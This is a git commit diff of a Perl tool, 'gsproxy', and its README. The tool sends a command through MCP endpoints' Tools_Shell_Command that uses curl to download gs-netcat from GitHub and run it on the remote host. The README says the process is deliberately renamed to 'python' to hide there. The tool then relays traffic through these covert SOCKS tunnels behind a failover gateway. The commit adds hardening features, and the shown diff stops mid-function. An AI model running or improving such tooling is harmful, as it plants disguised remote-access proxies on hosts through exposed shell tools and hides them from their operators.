harden gsproxy
This commit is contained in:
@@ -24,11 +24,13 @@ The whole tool is written with core Perl modules only, so it runs without extra
|
||||
- A gateway SOCKS port that follows the first alive proxy.
|
||||
- Daemon mode with pidfile, status, and stop commands.
|
||||
- Remote and local teardown that kills leftover gs-netcat processes.
|
||||
- Offline self-tests that cover config parsing, command building, and the SOCKS handshake.
|
||||
- Optional SOCKS5 username/password auth on the gateway port.
|
||||
- Optional SHA-256 pinning of the remote gs-netcat binary.
|
||||
- Offline self-tests that cover config parsing, command building, secret redaction, the single-instance lock, gateway auth, and the SOCKS handshake.
|
||||
|
||||
## Requirements
|
||||
|
||||
- Perl 5 with the core modules `Getopt::Long`, `IO::Socket::INET`, `IO::Select`, `POSIX`, `HTTP::Tiny`, `JSON::PP`, `Time::HiRes`, `File::Spec`, `Errno`, and `File::Basename`.
|
||||
- Perl 5 with the core modules `Getopt::Long`, `IO::Socket::INET`, `IO::Select`, `POSIX`, `HTTP::Tiny`, `JSON::PP`, `Time::HiRes`, `File::Spec`, `Errno`, `File::Basename`, `Fcntl`, and `IO::Handle`.
|
||||
- The `gs-netcat` binary in `PATH`, or a path supplied with `--gs-netcat`.
|
||||
- Network access from the MCP endpoint so the remote bring-up command can download and run gs-netcat.
|
||||
- A reachable MCP endpoint that exposes the `Tools_Shell_Command` tool.
|
||||
@@ -38,6 +40,7 @@ The whole tool is written with core Perl modules only, so it runs without extra
|
||||
- Copy `gsproxy.pl` somewhere on the host and make it executable with `chmod +x gsproxy.pl`.
|
||||
- Make sure `gs-netcat` is installed and on the `PATH`.
|
||||
- Create a `gsproxy.csv` next to the script, or point `--config` at another file.
|
||||
- The script runs with `umask 0077`; runtime files are created mode 0600.
|
||||
|
||||
## Configuration
|
||||
|
||||
@@ -64,6 +67,8 @@ https://mcp.other.org,topsecret9,20002,beta
|
||||
|
||||
The `endpoint` may be a base URL or a full MCP URL. If it does not already end in `/gradio_api/mcp` or `/mcp`, the value of `--mcp-path` is appended.
|
||||
|
||||
Keep the config file mode 0600; the script warns when it is group/world readable.
|
||||
|
||||
## Usage
|
||||
|
||||
Run the tool as a daemon:
|
||||
@@ -91,6 +96,7 @@ The script accepts these command line options:
|
||||
- `--config FILE` sets the CSV config path. The default is `gsproxy.csv` next to the script.
|
||||
- `--gateway-port PORT` sets the gateway SOCKS port. The default is `1080`.
|
||||
- `--bind ADDR` sets the address the gateway listens on. The default is `0.0.0.0`.
|
||||
- `--gateway-auth FILE` requires SOCKS5 username/password auth on the gateway. The first non-empty, non-comment line of FILE is `user:pass`; keep the file mode 0600.
|
||||
- `--interval SEC` sets the monitor interval in seconds. The default is `30`.
|
||||
- `--timeout SEC` sets the per-check timeout in seconds. The default is `10`.
|
||||
- `--mcp-timeout SEC` sets the MCP shell command timeout in seconds. The default is `60`.
|
||||
@@ -98,6 +104,7 @@ The script accepts these command line options:
|
||||
- `--test-port PORT` sets the port probed through each SOCKS proxy. The default is `443`.
|
||||
- `--workdir DIR` sets the remote working directory for the MCP call. The default is `.`.
|
||||
- `--gs-netcat PATH` sets the gs-netcat binary. The default is `gs-netcat` from `PATH`.
|
||||
- `--target-sha256 HASH` pins the SHA-256 of the remote gs-netcat binary (64 hex chars). The remote bring-up verifies the extracted binary before running it; a mismatch aborts the bring-up.
|
||||
- `--log FILE` sets the log file. The default is `gsproxy.log` next to the script.
|
||||
- `--pidfile FILE` sets the pidfile. The default is `gsproxy.pid` next to the script.
|
||||
- `--state FILE` sets the runtime state file. The default is `gsproxy.state` next to the script.
|
||||
@@ -109,7 +116,7 @@ The script accepts these command line options:
|
||||
- `--once` runs one monitor pass and then exits.
|
||||
- `--list` parses the config, prints the rows, and exits.
|
||||
- `--status` reports whether the daemon is running.
|
||||
- `--stop` stops a running daemon and tears down proxies.
|
||||
- `--stop` stops running daemons and tears down proxies.
|
||||
- `--selftest` runs the offline self-tests.
|
||||
- `-h, --help` shows the help text.
|
||||
|
||||
@@ -136,6 +143,8 @@ On every interval the monitor checks each proxy, logs only status changes, and w
|
||||
|
||||
The gateway listens, forks per connection, and reads the target port from the state file. It opens a TCP connection to that port and copies bytes in both directions with `IO::Select`, shutting down each direction as its side closes. If the state file has no valid port, the connection is dropped.
|
||||
|
||||
Without `--gateway-auth` the gateway is a transparent relay. With `--gateway-auth` the gateway performs the SOCKS5 username/password exchange itself (RFC 1929), then greets the upstream proxy and forwards the client's CONNECT request, so only authenticated clients can route through it.
|
||||
|
||||
### Teardown
|
||||
|
||||
Stopping the tool cleans up both sides. Locally it scans `/proc` for gs-netcat processes that match the `-D -p PORT` shape and sends them `TERM`. Remotely it runs a shell command over MCP that scans `/proc` for processes whose environment contains `GSOCKET_ARGS=-lSD -s SECRET` and kills them.
|
||||
@@ -148,6 +157,7 @@ Stopping the tool cleans up both sides. Locally it scans `/proc` for gs-netcat p
|
||||
- List config rows: `./gsproxy.pl --list`
|
||||
- One pass, foreground: `./gsproxy.pl --once --no-daemon`
|
||||
- Run self-tests: `./gsproxy.pl --selftest`
|
||||
- Run with gateway auth: `./gsproxy.pl --gateway-auth /etc/gsproxy.auth`
|
||||
|
||||
## Files
|
||||
|
||||
@@ -155,6 +165,9 @@ Stopping the tool cleans up both sides. Locally it scans `/proc` for gs-netcat p
|
||||
- `gsproxy.log` is the append-only log, one UTC-stamped line per event.
|
||||
- `gsproxy.pid` holds the daemon and gateway process ids.
|
||||
- `gsproxy.state` holds the first alive port on the first line and all alive ports on the second.
|
||||
- `gsproxy.auth` (with `--gateway-auth`) holds one `user:pass` line.
|
||||
|
||||
All runtime files are created mode 0600.
|
||||
|
||||
## Logging
|
||||
|
||||
@@ -166,27 +179,40 @@ Every event is written with a UTC timestamp in the form `[YYYY-MM-DDTHH:MM:SSZ]
|
||||
- It re-reads the state file on every new connection, so failover is immediate.
|
||||
- A dead or missing target port causes the connection to be dropped without reply.
|
||||
- Each connection is handled by a forked child, keeping the listener responsive.
|
||||
- With `--gateway-auth`, clients must complete a SOCKS5 username/password login before any relay happens.
|
||||
|
||||
## Self-tests
|
||||
|
||||
The `--selftest` mode runs offline checks and prints `PASS` or `FAIL` per case. It writes a temporary CSV, a temporary state file, and a temporary log under `/tmp`. It covers config parsing, command string quoting, gs-netcat process discovery, live and dead SOCKS detection, and a full gateway relay against a fake SOCKS server. It exits non-zero if any check fails.
|
||||
The `--selftest` mode runs offline checks and prints `PASS` or `FAIL` per case. It writes a temporary CSV, a temporary state file, and a temporary log under `/tmp`. It covers config parsing, command string quoting, gs-netcat process discovery, secret redaction, the single-instance lock, zombie detection, gateway auth accept/reject, live and dead SOCKS detection, and a full gateway relay (with and without auth) against a fake SOCKS server. It exits non-zero if any check fails.
|
||||
|
||||
## Hardening
|
||||
|
||||
- **File permissions.** The script runs with `umask 0077`, creates the log, pidfile, state, and auth files with mode 0600, and tightens pre-existing files at startup. It warns when the CSV config or the gateway auth file is group/world readable.
|
||||
- **Secret redaction.** Every log line passes through a redactor that replaces configured secrets with `**`. This includes MCP tool results that echo the full remote command, so secrets no longer leak into the log.
|
||||
- **Single instance.** An advisory `flock` on the pidfile plus a `/proc` scan for already-daemonized gsproxy processes prevents the overlapping-instance failure mode. A second instance refuses to start, and `--once`/foreground runs refuse while a daemon is active.
|
||||
- **Gateway supervision.** The gateway child reports bind success through a pipe before serving. A bind failure aborts startup instead of leaving a half-alive instance, and the monitor restarts a crashed gateway (reaping zombies on every pass).
|
||||
- **Verified stop.** `--stop` only signals processes that are really gsproxy instances, waits up to five seconds for them to exit, escalates to `KILL` if needed, and also finds daemons that are missing from the pidfile.
|
||||
- **Gateway auth.** `--gateway-auth FILE` turns the gateway into a SOCKS5 username/password front-end. Without it the gateway is an open relay, and a warning is logged whenever the gateway binds to a non-loopback address.
|
||||
- **Binary pinning.** `--target-sha256 HASH` verifies the downloaded gs-netcat binary on the remote host before it runs, so a tampered download fails the bring-up.
|
||||
|
||||
## Security notes
|
||||
|
||||
- Secrets are masked in logs and list output, so only the first two characters appear.
|
||||
- Secrets are masked in list output and redacted from every log line, including MCP tool results that echo remote commands.
|
||||
- All runtime files (log, pidfile, state, gateway auth file) are created with mode 0600.
|
||||
- The remote process is deliberately renamed to `python` to hide on the target host.
|
||||
- The `--insecure` flag turns off TLS verification and should be used only when the MCP endpoint is trusted.
|
||||
- The gateway binds to `0.0.0.0` by default. Restrict `--bind` if the host should not expose the proxy to the network.
|
||||
- The gateway binds to `0.0.0.0` by default and is an open relay unless `--gateway-auth` is set. Restrict `--bind` to `127.0.0.1` or enable auth if the host should not expose the proxy to the network.
|
||||
- Anyone who can reach the gateway SOCKS port can route through the current proxy, so the port should be firewalled.
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
- If the script reports no usable rows, check that the CSV has valid `endpoint,secret,port` fields and a numeric port.
|
||||
- If the daemon will not start, run `--status` to see whether it is already running, then use `--stop` first.
|
||||
- If the daemon will not start, run `--status` to see whether it is already running, then use `--stop` first. A live daemon detected in `/proc` or a locked pidfile also refuses startup.
|
||||
- If MCP bring-up fails, confirm the endpoint exposes `Tools_Shell_Command` and try `--insecure` only if the certificate is the problem.
|
||||
- If no proxy becomes alive, run `--list` to confirm the rows and check that `gs-netcat` is on the `PATH`.
|
||||
- If the gateway has no target, watch the log for `SOCKS ... is dead` lines to see which proxies are failing.
|
||||
- If the gateway port is already in use, the script aborts at startup with `gateway failed to start` instead of lingering.
|
||||
|
||||
## Credits
|
||||
|
||||
Created by Luxferre in 2026, released into the public domain with no warranties.
|
||||
Created by Luxferre in 2026, released into the public domain with no warranties.
|
||||
+568
-109
@@ -9,6 +9,10 @@
|
||||
# 3. monitors each local SOCKS proxy and logs every status change;
|
||||
# then exposes a gateway SOCKS port that relays to the first alive proxy
|
||||
#
|
||||
# Hardening: single-instance flock, secret redaction in logs, 0600 files,
|
||||
# gateway bind verification and supervision, verified --stop, optional
|
||||
# SOCKS5 user/pass auth on the gateway, optional remote binary pinning.
|
||||
#
|
||||
# Core modules only, no deps
|
||||
#
|
||||
# Created by Luxferre in 2026, released into the public domain
|
||||
@@ -24,7 +28,11 @@ use JSON::PP;
|
||||
use Time::HiRes qw(sleep);
|
||||
use File::Spec;
|
||||
use Errno qw(EINTR EAGAIN);
|
||||
use File::Basename qw(dirname);
|
||||
use File::Basename qw(dirname basename);
|
||||
use Fcntl qw(:flock);
|
||||
use IO::Handle;
|
||||
|
||||
umask 0077;
|
||||
|
||||
my $NL = chr(10);
|
||||
my $SQ = chr(39);
|
||||
@@ -33,66 +41,80 @@ my $BS = chr(92);
|
||||
my $SCRIPT_DIR = dirname(File::Spec->rel2abs($0));
|
||||
|
||||
my %opt = (
|
||||
config => File::Spec->catfile($SCRIPT_DIR, 'gsproxy.csv'),
|
||||
log => File::Spec->catfile($SCRIPT_DIR, 'gsproxy.log'),
|
||||
pidfile => File::Spec->catfile($SCRIPT_DIR, 'gsproxy.pid'),
|
||||
state => File::Spec->catfile($SCRIPT_DIR, 'gsproxy.state'),
|
||||
gateway => 1080,
|
||||
bind => '0.0.0.0',
|
||||
interval => 30,
|
||||
timeout => 10,
|
||||
mcp_timeout => 60,
|
||||
test_host => 'www.google.com',
|
||||
test_port => 443,
|
||||
workdir => '.',
|
||||
gs_netcat => 'gs-netcat',
|
||||
mcp_path => '/gradio_api/mcp/',
|
||||
insecure => 0,
|
||||
verbose => 0,
|
||||
no_mcp => 0,
|
||||
no_local => 0,
|
||||
no_bringup => 0,
|
||||
list => 0,
|
||||
daemon => 1,
|
||||
once => 0,
|
||||
stop => 0,
|
||||
status => 0,
|
||||
selftest => 0,
|
||||
help => 0,
|
||||
config => File::Spec->catfile($SCRIPT_DIR, 'gsproxy.csv'),
|
||||
log => File::Spec->catfile($SCRIPT_DIR, 'gsproxy.log'),
|
||||
pidfile => File::Spec->catfile($SCRIPT_DIR, 'gsproxy.pid'),
|
||||
state => File::Spec->catfile($SCRIPT_DIR, 'gsproxy.state'),
|
||||
gateway => 1080,
|
||||
bind => '0.0.0.0',
|
||||
interval => 30,
|
||||
timeout => 10,
|
||||
mcp_timeout => 60,
|
||||
test_host => 'www.google.com',
|
||||
test_port => 443,
|
||||
workdir => '.',
|
||||
gs_netcat => 'gs-netcat',
|
||||
mcp_path => '/gradio_api/mcp/',
|
||||
insecure => 0,
|
||||
verbose => 0,
|
||||
no_mcp => 0,
|
||||
no_local => 0,
|
||||
no_bringup => 0,
|
||||
list => 0,
|
||||
daemon => 1,
|
||||
once => 0,
|
||||
stop => 0,
|
||||
status => 0,
|
||||
selftest => 0,
|
||||
help => 0,
|
||||
gateway_auth => undef,
|
||||
target_sha256 => undef,
|
||||
);
|
||||
|
||||
my @secrets;
|
||||
my $lock_fh;
|
||||
my $gwpid;
|
||||
my $last_gw_attempt = 0;
|
||||
my ($gw_auth_user, $gw_auth_pass);
|
||||
|
||||
GetOptions(
|
||||
'config=s' => \$opt{config},
|
||||
'log=s' => \$opt{log},
|
||||
'pidfile=s' => \$opt{pidfile},
|
||||
'state=s' => \$opt{state},
|
||||
'gateway-port=i' => \$opt{gateway},
|
||||
'bind=s' => \$opt{bind},
|
||||
'interval=i' => \$opt{interval},
|
||||
'timeout=i' => \$opt{timeout},
|
||||
'mcp-timeout=i' => \$opt{mcp_timeout},
|
||||
'test-host=s' => \$opt{test_host},
|
||||
'test-port=i' => \$opt{test_port},
|
||||
'workdir=s' => \$opt{workdir},
|
||||
'gs-netcat=s' => \$opt{gs_netcat},
|
||||
'insecure' => \$opt{insecure},
|
||||
'verbose|v' => \$opt{verbose},
|
||||
'no-mcp' => \$opt{no_mcp},
|
||||
'no-local' => \$opt{no_local},
|
||||
'no-bringup' => \$opt{no_bringup},
|
||||
'list' => \$opt{list},
|
||||
'daemon!' => \$opt{daemon},
|
||||
'once' => \$opt{once},
|
||||
'stop' => \$opt{stop},
|
||||
'status' => \$opt{status},
|
||||
'selftest' => \$opt{selftest},
|
||||
'help|h' => \$opt{help},
|
||||
'config=s' => \$opt{config},
|
||||
'log=s' => \$opt{log},
|
||||
'pidfile=s' => \$opt{pidfile},
|
||||
'state=s' => \$opt{state},
|
||||
'gateway-port=i' => \$opt{gateway},
|
||||
'bind=s' => \$opt{bind},
|
||||
'interval=i' => \$opt{interval},
|
||||
'timeout=i' => \$opt{timeout},
|
||||
'mcp-timeout=i' => \$opt{mcp_timeout},
|
||||
'test-host=s' => \$opt{test_host},
|
||||
'test-port=i' => \$opt{test_port},
|
||||
'workdir=s' => \$opt{workdir},
|
||||
'gs-netcat=s' => \$opt{gs_netcat},
|
||||
'insecure' => \$opt{insecure},
|
||||
'verbose|v' => \$opt{verbose},
|
||||
'no-mcp' => \$opt{no_mcp},
|
||||
'no-local' => \$opt{no_local},
|
||||
'no-bringup' => \$opt{no_bringup},
|
||||
'list' => \$opt{list},
|
||||
'daemon!' => \$opt{daemon},
|
||||
'once' => \$opt{once},
|
||||
'stop' => \$opt{stop},
|
||||
'status' => \$opt{status},
|
||||
'selftest' => \$opt{selftest},
|
||||
'gateway-auth=s' => \$opt{gateway_auth},
|
||||
'target-sha256=s' => \$opt{target_sha256},
|
||||
'help|h' => \$opt{help},
|
||||
) or usage(2);
|
||||
|
||||
usage(0) if $opt{help};
|
||||
harden_file_perms();
|
||||
selftest() if $opt{selftest};
|
||||
if ($opt{stop}) { stop_daemon(); exit 0; }
|
||||
if ($opt{status}) { exit(do_status()); }
|
||||
if (defined $opt{target_sha256} && $opt{target_sha256} !~ /^[0-9a-fA-F]{64}$/) {
|
||||
die 'invalid --target-sha256: expected 64 hex characters' . $NL;
|
||||
}
|
||||
|
||||
sub usage {
|
||||
my ($code) = @_;
|
||||
@@ -106,6 +128,7 @@ Options:
|
||||
--config FILE CSV config: endpoint,secret,port[,label] (default ./gsproxy.csv)
|
||||
--gateway-port PORT Gateway SOCKS port mapped to first alive SOCKS (default 1080)
|
||||
--bind ADDR Address the gateway SOCKS listens on (default 0.0.0.0)
|
||||
--gateway-auth FILE Require SOCKS5 user/pass auth on the gateway (FILE: user:pass)
|
||||
--interval SEC Monitor interval seconds (default 30)
|
||||
--timeout SEC Per-check timeout seconds (default 10)
|
||||
--mcp-timeout SEC MCP Tools_Shell_Command timeout (default 60)
|
||||
@@ -113,6 +136,7 @@ Options:
|
||||
--test-port PORT Port probed through each SOCKS (default 443)
|
||||
--workdir DIR Remote workdir for the MCP call (default .)
|
||||
--gs-netcat PATH gs-netcat binary (default: from PATH)
|
||||
--target-sha256 HASH Verify remote gs-netcat SHA-256 before running (64 hex)
|
||||
--log FILE Log file (default ./gsproxy.log)
|
||||
--pidfile FILE Pidfile (default ./gsproxy.pid)
|
||||
--state FILE Runtime state file (default ./gsproxy.state)
|
||||
@@ -140,16 +164,41 @@ sub strip_eol {
|
||||
|
||||
sub now_utc { return strftime('%Y-%m-%dT%H:%M:%SZ', gmtime(time())); }
|
||||
|
||||
sub mask {
|
||||
my ($s) = @_;
|
||||
$s = '' unless defined $s;
|
||||
return '***' if length($s) <= 2;
|
||||
return substr($s, 0, 2) . '***';
|
||||
}
|
||||
|
||||
sub register_secrets {
|
||||
push @secrets, @_;
|
||||
}
|
||||
|
||||
sub redact {
|
||||
my ($s) = @_;
|
||||
$s = '' unless defined $s;
|
||||
for my $sec (@secrets) {
|
||||
next unless defined $sec && length($sec) >= 3;
|
||||
my $m = mask($sec);
|
||||
$s =~ s/\Q$sec\E/$m/g;
|
||||
}
|
||||
return $s;
|
||||
}
|
||||
|
||||
sub logmsg {
|
||||
my ($msg) = @_;
|
||||
my $line = '[' . now_utc() . '] ' . $msg . $NL;
|
||||
if (open my $fh, '>>', $opt{log}) { print $fh $line; close $fh; }
|
||||
my $line = '[' . now_utc() . '] ' . redact($msg) . $NL;
|
||||
if (open my $fh, '>>', $opt{log}) {
|
||||
chmod 0600, $opt{log};
|
||||
print $fh $line;
|
||||
close $fh;
|
||||
}
|
||||
print STDERR $line if $opt{verbose};
|
||||
}
|
||||
|
||||
sub shq {
|
||||
my ($s) = @_
|
||||
;
|
||||
my ($s) = @_;
|
||||
$s = '' unless defined $s;
|
||||
my $out = $SQ;
|
||||
for my $ch (split //, $s) {
|
||||
@@ -170,16 +219,9 @@ sub which {
|
||||
return undef;
|
||||
}
|
||||
|
||||
sub mask {
|
||||
my ($s) = @_;
|
||||
$s = '' unless defined $s;
|
||||
return '***' if length($s) <= 2;
|
||||
return substr($s, 0, 2) . '***';
|
||||
}
|
||||
|
||||
sub one_line {
|
||||
my ($s) = @_;
|
||||
$s = '' unless defined $s;
|
||||
$s = redact($s);
|
||||
$s =~ s/[[:space:]]+/ /g;
|
||||
return substr($s, 0, 300);
|
||||
}
|
||||
@@ -360,7 +402,12 @@ sub target_cmd {
|
||||
my ($secret) = @_;
|
||||
my $url = 'https://github.com/hackerschoice/binary/raw/refs/heads/main/gsocket/bin/gs-netcat_$(uname -m)-alpine.tar.gz';
|
||||
my $args = shq('-lSD -s ' . $secret);
|
||||
return qq{curl -fsSL $url | tar xz && GSOCKET_ARGS=$args bash -c 'exec -a python ./gs-netcat' && rm -f gs-netcat};
|
||||
my $cmd = qq{curl -fsSL $url | tar xz && };
|
||||
if ($opt{target_sha256}) {
|
||||
$cmd .= qq{echo '$opt{target_sha256} gs-netcat' | sha256sum -c - && };
|
||||
}
|
||||
$cmd .= qq{GSOCKET_ARGS=$args bash -c 'exec -a python ./gs-netcat' && rm -f gs-netcat};
|
||||
return $cmd;
|
||||
}
|
||||
|
||||
sub teardown_cmd {
|
||||
@@ -381,6 +428,45 @@ sub read_proc_file {
|
||||
return $c;
|
||||
}
|
||||
|
||||
sub proc_state {
|
||||
my ($pid) = @_;
|
||||
my $raw = read_proc_file('/proc/' . $pid . '/stat');
|
||||
return undef unless defined $raw;
|
||||
my $i = rindex($raw, ')');
|
||||
return undef if $i < 0;
|
||||
my @f = split ' ', substr($raw, $i + 1);
|
||||
return $f[0];
|
||||
}
|
||||
|
||||
sub proc_is_gsproxy {
|
||||
my ($pid) = @_;
|
||||
my $raw = read_proc_file('/proc/' . $pid . '/cmdline');
|
||||
return 0 unless defined $raw && length $raw;
|
||||
my $flat = join(' ', split /[[:cntrl:]]/, $raw);
|
||||
my $base = basename($0);
|
||||
return $flat =~ /\Q$base\E/ ? 1 : 0;
|
||||
}
|
||||
|
||||
sub find_other_daemons {
|
||||
my @out;
|
||||
opendir my $dh, '/proc' or return @out;
|
||||
for my $d (readdir $dh) {
|
||||
next unless $d =~ /^[0-9]+$/;
|
||||
next if $d == $$;
|
||||
next unless proc_is_gsproxy($d);
|
||||
my $raw = read_proc_file('/proc/' . $d . '/stat');
|
||||
next unless defined $raw;
|
||||
my $i = rindex($raw, ')');
|
||||
next if $i < 0;
|
||||
my @f = split ' ', substr($raw, $i + 1);
|
||||
next if (defined $f[0] ? $f[0] : '') eq 'Z';
|
||||
next unless defined $f[1] && $f[1] == 1;
|
||||
push @out, $d;
|
||||
}
|
||||
closedir $dh;
|
||||
return @out;
|
||||
}
|
||||
|
||||
sub find_local_pids {
|
||||
my %ports = map { $_ => 1 } @_;
|
||||
my @pids;
|
||||
@@ -430,7 +516,7 @@ sub start_local {
|
||||
my $gn = which($opt{gs_netcat});
|
||||
return (0, 'gs-netcat not found: ' . $opt{gs_netcat}) unless defined $gn;
|
||||
my $port = $e->{port};
|
||||
my $cmd = $gn . ' -D -p ' . $port . ' -s ' . shq($e->{secret});
|
||||
my $cmd = shq($gn) . ' -D -p ' . $port . ' -s ' . shq($e->{secret});
|
||||
system($cmd . q{ >/dev/null 2>&1 &});
|
||||
return (1, 'started local gs-netcat on 127.0.0.1:' . $port);
|
||||
}
|
||||
@@ -454,6 +540,7 @@ sub bring_up {
|
||||
sub write_state {
|
||||
my ($alive) = @_;
|
||||
open my $fh, '>', $opt{state} or return;
|
||||
chmod 0600, $opt{state};
|
||||
my $first = @$alive ? $alive->[0] : '';
|
||||
print $fh $first, $NL;
|
||||
print $fh join(' ', @$alive), $NL;
|
||||
@@ -513,6 +600,63 @@ sub pump {
|
||||
}
|
||||
}
|
||||
|
||||
sub socks_auth_client {
|
||||
my ($c) = @_;
|
||||
return 1 unless defined $gw_auth_user;
|
||||
my $g = read_exact($c, 2, 10);
|
||||
return 0 unless defined $g && ord(substr($g, 0, 1)) == 5;
|
||||
my $nm = ord(substr($g, 1, 1));
|
||||
return 0 if $nm == 0 || $nm > 255;
|
||||
my $methods = read_exact($c, $nm, 10);
|
||||
return 0 unless defined $methods && length($methods) == $nm;
|
||||
return 0 unless index($methods, chr(2)) >= 0;
|
||||
return 0 unless syswrite($c, pack('C*', 5, 2)) == 2;
|
||||
my $h = read_exact($c, 2, 10);
|
||||
return 0 unless defined $h;
|
||||
return 0 unless ord(substr($h, 0, 1)) == 1;
|
||||
my $ulen = ord(substr($h, 1, 1));
|
||||
return 0 if $ulen == 0 || $ulen > 255;
|
||||
my $u = read_exact($c, $ulen, 10);
|
||||
return 0 unless defined $u;
|
||||
my $pb = read_exact($c, 1, 10);
|
||||
return 0 unless defined $pb;
|
||||
my $plen = ord($pb);
|
||||
return 0 if $plen == 0 || $plen > 255;
|
||||
my $p = read_exact($c, $plen, 10);
|
||||
return 0 unless defined $p;
|
||||
if ($u eq $gw_auth_user && $p eq $gw_auth_pass) {
|
||||
return 0 unless syswrite($c, pack('C*', 1, 0)) == 2;
|
||||
return 1;
|
||||
}
|
||||
syswrite($c, pack('C*', 1, 1));
|
||||
return 0;
|
||||
}
|
||||
|
||||
sub read_socks_request {
|
||||
my ($c) = @_;
|
||||
my $buf = read_exact($c, 4, 10);
|
||||
return undef unless defined $buf;
|
||||
my $atyp = ord(substr($buf, 3, 1));
|
||||
my $extra;
|
||||
if ($atyp == 1) {
|
||||
$extra = read_exact($c, 4, 10);
|
||||
} elsif ($atyp == 3) {
|
||||
my $l = read_exact($c, 1, 10);
|
||||
return undef unless defined $l;
|
||||
my $d = read_exact($c, ord($l), 10);
|
||||
return undef unless defined $d;
|
||||
$extra = $l . $d;
|
||||
} elsif ($atyp == 4) {
|
||||
$extra = read_exact($c, 16, 10);
|
||||
} else {
|
||||
return undef;
|
||||
}
|
||||
return undef unless defined $extra;
|
||||
my $port = read_exact($c, 2, 10);
|
||||
return undef unless defined $port;
|
||||
return $buf . $extra . $port;
|
||||
}
|
||||
|
||||
sub handle_gateway_conn {
|
||||
my ($c) = @_;
|
||||
my $up = read_state_port();
|
||||
@@ -523,7 +667,19 @@ sub handle_gateway_conn {
|
||||
Proto => 'tcp',
|
||||
Timeout => 10,
|
||||
) or return;
|
||||
eval { pump($c, $u) };
|
||||
if (defined $gw_auth_user) {
|
||||
return unless socks_auth_client($c);
|
||||
my $req = read_socks_request($c);
|
||||
return unless defined $req;
|
||||
my $greet = pack('C*', 5, 1, 0);
|
||||
return unless syswrite($u, $greet) == length($greet);
|
||||
my $g = read_exact($u, 2, 10);
|
||||
return unless defined $g && $g eq pack('C*', 5, 0);
|
||||
return unless syswrite($u, $req) == length($req);
|
||||
eval { pump($c, $u) };
|
||||
} else {
|
||||
eval { pump($c, $u) };
|
||||
}
|
||||
close $u;
|
||||
close $c;
|
||||
}
|
||||
@@ -531,29 +687,62 @@ sub handle_gateway_conn {
|
||||
sub start_gateway {
|
||||
my $gw = $opt{gateway};
|
||||
my $bind = $opt{bind};
|
||||
my ($r, $w);
|
||||
pipe($r, $w) or return undef;
|
||||
my $pid = fork();
|
||||
return $pid if $pid;
|
||||
$SIG{TERM} = sub { exit 0 };
|
||||
$SIG{INT} = sub { exit 0 };
|
||||
my $lsn = IO::Socket::INET->new(
|
||||
LocalAddr => $bind,
|
||||
LocalPort => $gw,
|
||||
Proto => 'tcp',
|
||||
Listen => 128,
|
||||
ReuseAddr => 1,
|
||||
) or do { logmsg('gateway: cannot listen on ' . $bind . ':' . $gw . ': ' . $!); exit 1; };
|
||||
logmsg('gateway listening on ' . $bind . ':' . $gw . ' -> first alive SOCKS');
|
||||
while (my $c = $lsn->accept) {
|
||||
my $p = fork();
|
||||
if (defined $p && $p == 0) {
|
||||
close $lsn;
|
||||
handle_gateway_conn($c);
|
||||
exit 0;
|
||||
return undef unless defined $pid;
|
||||
if ($pid == 0) {
|
||||
close $r;
|
||||
$SIG{TERM} = sub { exit 0 };
|
||||
$SIG{INT} = sub { exit 0 };
|
||||
$SIG{CHLD} = sub { 1 while waitpid(-1, WNOHANG) > 0 };
|
||||
my $lsn = IO::Socket::INET->new(
|
||||
LocalAddr => $bind,
|
||||
LocalPort => $gw,
|
||||
Proto => 'tcp',
|
||||
Listen => 128,
|
||||
ReuseAddr => 1,
|
||||
);
|
||||
if (!$lsn) {
|
||||
logmsg('gateway: cannot listen on ' . $bind . ':' . $gw . ': ' . $!);
|
||||
print {$w} 'ERR' . $NL;
|
||||
close $w;
|
||||
exit 1;
|
||||
}
|
||||
close $c;
|
||||
1 while waitpid(-1, WNOHANG) > 0;
|
||||
print {$w} 'OK' . $NL;
|
||||
close $w;
|
||||
logmsg('gateway listening on ' . $bind . ':' . $gw . ' -> first alive SOCKS');
|
||||
while (1) {
|
||||
my $c = $lsn->accept;
|
||||
if (!defined $c) {
|
||||
next if $! == EINTR;
|
||||
logmsg('gateway: accept failed: ' . $!);
|
||||
exit 1;
|
||||
}
|
||||
my $p = fork();
|
||||
if (defined $p && $p == 0) {
|
||||
close $lsn;
|
||||
handle_gateway_conn($c);
|
||||
exit 0;
|
||||
}
|
||||
close $c;
|
||||
}
|
||||
exit 0;
|
||||
}
|
||||
exit 0;
|
||||
close $w;
|
||||
my $sel = IO::Select->new($r);
|
||||
my $ok = 0;
|
||||
if ($sel->can_read(5)) {
|
||||
my $line = <$r>;
|
||||
$ok = 1 if defined $line && $line =~ /^OK/;
|
||||
}
|
||||
close $r;
|
||||
unless ($ok) {
|
||||
kill('TERM', $pid);
|
||||
waitpid($pid, 0);
|
||||
return undef;
|
||||
}
|
||||
return $pid;
|
||||
}
|
||||
|
||||
my %async_jobs;
|
||||
@@ -574,18 +763,33 @@ sub spawn_bringup {
|
||||
return $pid;
|
||||
}
|
||||
|
||||
sub reap_jobs {
|
||||
for my $pid (keys %async_jobs) {
|
||||
my $r = waitpid($pid, WNOHANG);
|
||||
next if $r == 0;
|
||||
my $e = delete $async_jobs{$pid};
|
||||
$e->{bringing_up} = 0 if $e;
|
||||
sub reap_children {
|
||||
my $reaped = 0;
|
||||
while (1) {
|
||||
my $r = waitpid(-1, WNOHANG);
|
||||
last if $r <= 0;
|
||||
$reaped++;
|
||||
if (exists $async_jobs{$r}) {
|
||||
my $e = delete $async_jobs{$r};
|
||||
$e->{bringing_up} = 0 if $e;
|
||||
}
|
||||
if (defined $gwpid && $r == $gwpid) {
|
||||
logmsg('gateway process ' . $r . ' exited');
|
||||
$gwpid = undef;
|
||||
}
|
||||
}
|
||||
return $reaped;
|
||||
}
|
||||
|
||||
sub monitor_once {
|
||||
my ($rows) = @_;
|
||||
reap_jobs() unless $opt{once};
|
||||
reap_children() unless $opt{once};
|
||||
if (!$opt{once} && !defined $gwpid && time() - $last_gw_attempt >= 30) {
|
||||
$last_gw_attempt = time();
|
||||
logmsg('gateway not running; restarting');
|
||||
$gwpid = start_gateway();
|
||||
write_pidfile($$, $gwpid) if defined $gwpid;
|
||||
}
|
||||
my @alive;
|
||||
for my $e (@$rows) {
|
||||
my $label = $e->{label};
|
||||
@@ -612,7 +816,14 @@ sub monitor_once {
|
||||
|
||||
sub write_pidfile {
|
||||
my @pids = @_;
|
||||
if ($lock_fh) {
|
||||
seek($lock_fh, 0, 0);
|
||||
truncate($lock_fh, 0);
|
||||
print {$lock_fh} join($NL, @pids), $NL;
|
||||
return;
|
||||
}
|
||||
open my $fh, '>', $opt{pidfile} or return;
|
||||
chmod 0600, $opt{pidfile};
|
||||
